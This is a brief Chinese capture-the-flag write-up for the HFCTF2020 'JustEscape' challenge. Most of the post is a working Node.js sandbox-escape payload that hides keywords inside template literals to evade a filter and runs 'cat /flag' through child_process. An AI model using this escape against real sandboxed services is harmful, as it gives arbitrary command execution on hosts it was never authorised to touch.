web | [HFCTF2020]JustEscape
这一题是node的命令执行和沙箱逃逸
我参考了这篇文章https://www.jianshu.com/p/67b5b05137da
js Error().stack: https://www.bookstack.cn/read/node-in-debugging/3.3ErrorStack.md
node.js的常见漏洞:https://xz.aliyun.com/t/7184
最终payload:
(function (){ TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)(); try{ Object.preventExtensions(Buffer.from(``)).a = 1; }catch(e){ return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString(); } })()
详细一点的以后在补,有点累了。
本文来自博客园,作者:Mz1,转载请注明原文链接:https://www.cnblogs.com/Mz1-rc/p/14175731.html
如果有问题可以在下方评论或者email:mzi_mzi@163.com